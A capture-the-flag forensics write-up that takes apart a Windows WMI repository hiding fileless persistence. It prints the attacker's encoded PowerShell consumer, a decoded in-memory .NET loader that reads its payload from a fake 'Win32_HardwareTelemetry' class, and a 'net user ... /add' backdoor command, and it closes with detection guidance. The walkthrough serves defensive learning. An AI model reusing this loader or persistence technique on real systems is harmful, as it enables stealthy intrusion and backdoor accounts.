// TL;DR
  • The 5 files (INDEX.BTR, MAPPING*.MAP, OBJECTS.DATA) are the Windows WMI repository: the persistence is a fileless WMI Event Subscription, invisible to the classic checks (Startup / Scheduled Tasks / Run keys) and a historical blind spot of autoruns tooling.
  • A CommandLineEventConsumer runs powershell -enc; the command (base64/UTF-16LE) is a loader reading a property off a WMI class.
  • The custom class Win32_HardwareTelemetry (fake-legit name) stores the payload in its ConfigData property = base64(deflate(.NET assembly)).
  • Rebuild the assembly and inside is net user patch <base64> /add: the backdoor password is the flag (base64). There's an anti-analysis guard too.
// before you start

An offline forensics case: everything runs on your own machine against the attachment files, no target to attack. The attachment is a password-protected archive: extract it with 7z x -pAft3rH0ursAtt4chm3ntP4ss <attachment> (or unzip -P Aft3rH0ursAtt4chm3ntP4ss <attachment>; if unsure of the format, run file <attachment> first) → you get INDEX.BTR, MAPPING*.MAP, OBJECTS.DATA. Then only standard tools: strings, grep, python3, base64, iconv.

[01] The artifact: it's a WMI repository

Forensics rule one: identify what you're holding. Those five files aren't a random dump — they're the exact layout of the Windows WMI repository, which lives in C:\Windows\System32\wbem\Repository\. OBJECTS.DATA holds class definitions and instances; INDEX.BTR is the B-tree index; the .MAP files are page maps.

ls -la
# INDEX.BTR  MAPPING1.MAP  MAPPING2.MAP  MAPPING3.MAP  OBJECTS.DATA
= C:\Windows\System32\wbem\Repository\   # il repository WMI
ls -la
# INDEX.BTR  MAPPING1.MAP  MAPPING2.MAP  MAPPING3.MAP  OBJECTS.DATA
= C:\Windows\System32\wbem\Repository\   # the WMI repository
// why autoruns misses it

The room's hints ("nothing in Startup/Scheduled Tasks/Run keys", "tools don't think to check there") all point at the same technique: WMI Event Subscription persistence. It's fileless — no executable on disk, it all lives inside the WMI DB — and historically one of the blind spots of autoruns tooling. @0xMia's tip ("dig through the raw data by hand") is literal.

[02] Confirm the persistence

A WMI Event Subscription has three parts: an __EventFilter (the trigger, a WQL query — here on a "small hours" theme), an __EventConsumer (the action) and a __FilterToConsumerBinding tying them. No exotic parser needed: strings + grep on OBJECTS.DATA surface the real instances.

strings -a OBJECTS.DATA \
  | grep -iE 'EventConsumer|EventFilter|FilterToConsumerBinding' \
  | sort | uniq -c | sort -rn | head
__FilterToConsumerBinding   # c'e una subscription REALE
CommandLineEventConsumer    # il consumer che ESEGUE un comando

# mostra la query WQL del filtro: il trigger a tema «ore piccole»
strings -a OBJECTS.DATA | grep -iE 'SELECT .*FROM .*(Win32_LocalTime|__InstanceModification)'
# es.: SELECT * FROM __InstanceModificationEvent ... Win32_LocalTime ...   ← il trigger «ore piccole»
strings -a OBJECTS.DATA \
  | grep -iE 'EventConsumer|EventFilter|FilterToConsumerBinding' \
  | sort | uniq -c | sort -rn | head
__FilterToConsumerBinding   # there IS a real subscription
CommandLineEventConsumer    # the consumer that RUNS a command

# show the filter's WQL query: the "small hours" trigger
strings -a OBJECTS.DATA | grep -iE 'SELECT .*FROM .*(Win32_LocalTime|__InstanceModification)'
# e.g.: SELECT * FROM __InstanceModificationEvent ... Win32_LocalTime ...   ← the "small hours" trigger

[03] The command: obfuscated PowerShell

The CommandLineEventConsumer carries a CommandLineTemplate: the command fired on trigger. I extract it and find a classic powershell -enc — where -enc expects base64 of UTF-16LE text.

strings -a OBJECTS.DATA | grep -oE 'cmd /C powershell.exe .*-enc [A-Za-z0-9+/=]+'
# cmd /C powershell.exe -Sta -Nop -Window Hidden -enc JABmAGkAbABlAC...

# -enc = base64 di UTF-16LE: decodifico
ENC=$(strings -a OBJECTS.DATA | grep -oE '[-]enc [A-Za-z0-9+/=]+' | head -1 | awk '{print $2}')
echo $ENC | base64 -d | iconv -f UTF-16LE -t UTF-8
strings -a OBJECTS.DATA | grep -oE 'cmd /C powershell.exe .*-enc [A-Za-z0-9+/=]+'
# cmd /C powershell.exe -Sta -Nop -Window Hidden -enc JABmAGkAbABlAC...

# -enc = base64 of UTF-16LE: decode it
ENC=$(strings -a OBJECTS.DATA | grep -oE '[-]enc [A-Za-z0-9+/=]+' | head -1 | awk '{print $2}')
echo $ENC | base64 -d | iconv -f UTF-16LE -t UTF-8
# ← output del comando sopra: il loader decodificato (da leggere, non da eseguire)
$file = ([WmiClass]'ROOT\cimv2:Win32_HardwareTelemetry').Properties['ConfigData'].Value;
$o = New-Object IO.MemoryStream;
$d = New-Object IO.Compression.DeflateStream(
       [IO.MemoryStream][Convert]::FromBase64String($file),
       [IO.Compression.CompressionMode]::Decompress);
# ...legge i byte decompressi...
[Reflection.Assembly]::Load($o.ToArray()).EntryPoint.Invoke($null,...)   # .NET in memoria
# ← output of the command above: the decoded loader (read it, don't run it)
$file = ([WmiClass]'ROOT\cimv2:Win32_HardwareTelemetry').Properties['ConfigData'].Value;
$o = New-Object IO.MemoryStream;
$d = New-Object IO.Compression.DeflateStream(
       [IO.MemoryStream][Convert]::FromBase64String($file),
       [IO.Compression.CompressionMode]::Decompress);
# ...reads the decompressed bytes...
[Reflection.Assembly]::Load($o.ToArray()).EntryPoint.Invoke($null,...)   # .NET in memory
// what the loader does

It never touches disk. It reads a property off a WMI class (ConfigData of Win32_HardwareTelemetry), base64-decodes it, deflate-decompresses it, and loads the result as a .NET assembly straight into memory via Reflection.Assembly::Load. The payload exists as no file: it lives inside the WMI DB. That's the "hidden custom configuration data" from the itinerary.

[04] The malicious class and its payload

Win32_HardwareTelemetry is not a standard WMI class: the attacker created it with a legit-looking name (mimicry). Its ConfigData property is the payload store. I look for it in the repository: a long base64 string (starts with 7VZ..., typical of a deflate stream).

# la classe custom e la proprieta che tiene il payload
strings -a OBJECTS.DATA | grep -iE 'Win32_HardwareTelemetry|ConfigData' | sort -u
Win32_HardwareTelemetry ... ConfigData   # nome finto-legittimo, dato embedded
# the custom class and the property holding the payload
strings -a OBJECTS.DATA | grep -iE 'Win32_HardwareTelemetry|ConfigData' | sort -u
Win32_HardwareTelemetry ... ConfigData   # fake-legit name, embedded data

[05] Rebuild the .NET payload

I redo by hand what the loader would do: extract the ConfigData blob, base64-decode and decompress it. Careful: DeflateStream is raw deflate (no zlib/gzip header) → in Python that's zlib.decompress(data, -15). The result starts with MZ: it's a PE, a .NET assembly.

# 0) individua il blob: prime 40 lettere delle stringhe base64 lunghe (spunta il prefisso 7VZ)
strings -a OBJECTS.DATA | grep -oE '[A-Za-z0-9+/]{200,}' | cut -c1-40
# 7VZ...   ← il blob ConfigData inizia cosi

# 1) estrai il blob ConfigData (filtro NON ancorato sul prefisso 7VZ)
strings -a OBJECTS.DATA | grep -oE '7VZ[A-Za-z0-9+/]{200,}={0,2}' > cfg.b64
wc -lc cfg.b64   # atteso: 1 riga, byte > 0 (se e vuoto, il filtro non ha agganciato nulla)

# 2) base64 -> RAW deflate (-15) -> assembly
python3 -c "import base64,zlib; open('payload.bin','wb').write(zlib.decompress(base64.b64decode(open('cfg.b64').read().strip()), -15))"

file payload.bin
PE32 executable ... Mono/.Net assembly   # payload ricostruito
# 0) locate the blob: first 40 chars of the long base64 strings (spot the 7VZ prefix)
strings -a OBJECTS.DATA | grep -oE '[A-Za-z0-9+/]{200,}' | cut -c1-40
# 7VZ...   ← the ConfigData blob starts like this

# 1) extract the ConfigData blob (filter NOT anchored, keyed on the 7VZ prefix)
strings -a OBJECTS.DATA | grep -oE '7VZ[A-Za-z0-9+/]{200,}={0,2}' > cfg.b64
wc -lc cfg.b64   # expected: 1 line, bytes > 0 (if empty, the filter matched nothing)

# 2) base64 -> RAW deflate (-15) -> assembly
python3 -c "import base64,zlib; open('payload.bin','wb').write(zlib.decompress(base64.b64decode(open('cfg.b64').read().strip()), -15))"

file payload.bin
PE32 executable ... Mono/.Net assembly   # payload rebuilt

[06] The flag inside the assembly

The .NET string literals are UTF-16, so I search with strings -e l. Out comes the malware's real action — and a textbook detail.

strings -a -e l payload.bin | grep -iE 'net user|halt|mismatch|bytelotus'
/c net user patch VEhN████████████████████████████████████ /add   # crea un backdoor; la password E la flag (base64, oscurata)
Execution halted: Environment mismatch.    # guard: gira solo sulla macchina giusta (bytelotusdc)
strings -a -e l payload.bin | grep -iE 'net user|halt|mismatch|bytelotus'
/c net user patch VEhN████████████████████████████████████ /add   # creates a backdoor; the password IS the flag (base64, masked)
Execution halted: Environment mismatch.    # guard: only runs on the right host (bytelotusdc)

The payload creates a local user patch (an ironic name: the "patch" that opens the door) and sets its password. That password is the flag, base64-encoded. I decode it on my own instance — the value stays with you:

echo 'VEhN████████████████████████████████████' | base64 -d
THM{████████████████████}   # oscurata: policy
echo 'VEhN████████████████████████████████████' | base64 -d
THM{████████████████████}   # redacted: policy
// flag — REDACTED
THM{████████████████████}

You won't find the flag here: the value itself teaches nothing, and half the fun is getting there. The methodology above is complete and reproducible — the last Enter is yours to press.

[07] Defense

Weakness / TTPDetection & fix
WMI Event Subscription persistence (fileless)Sysmon events 19/20/21 (WmiFilter/Consumer/Binding); Get-WmiObject -Namespace root\subscription __EventConsumer; Autoruns "WMI" tab
Payload hidden in a custom WMI classBaseline the classes in root\cimv2; alert on odd classes/properties holding large blobs; offline parsers (python-cim / PyWMIPersistenceFinder)
powershell -enc + in-memory Assembly::LoadScriptBlock & Module logging; AMSI; alert on -enc/FromBase64String/Reflection.Assembly in EventConsumers
Backdoor via net user ... /addEvent ID 4720 (user created); alert on off-hours user creation / from WMI processes
// verdict

No suspicious file, no Run key, nothing in Scheduled Tasks — yet the box "clocks in" every night. The whole chain lives inside the WMI DB: a trigger, a consumer launching PowerShell, and a fake-legit class acting as the payload's hard drive. The lesson: the WMI repository is executable code and data just like the filesystem — include it in triage, don't treat it as system noise. And beware names that "sound Microsoft": Win32_ is not a free pass.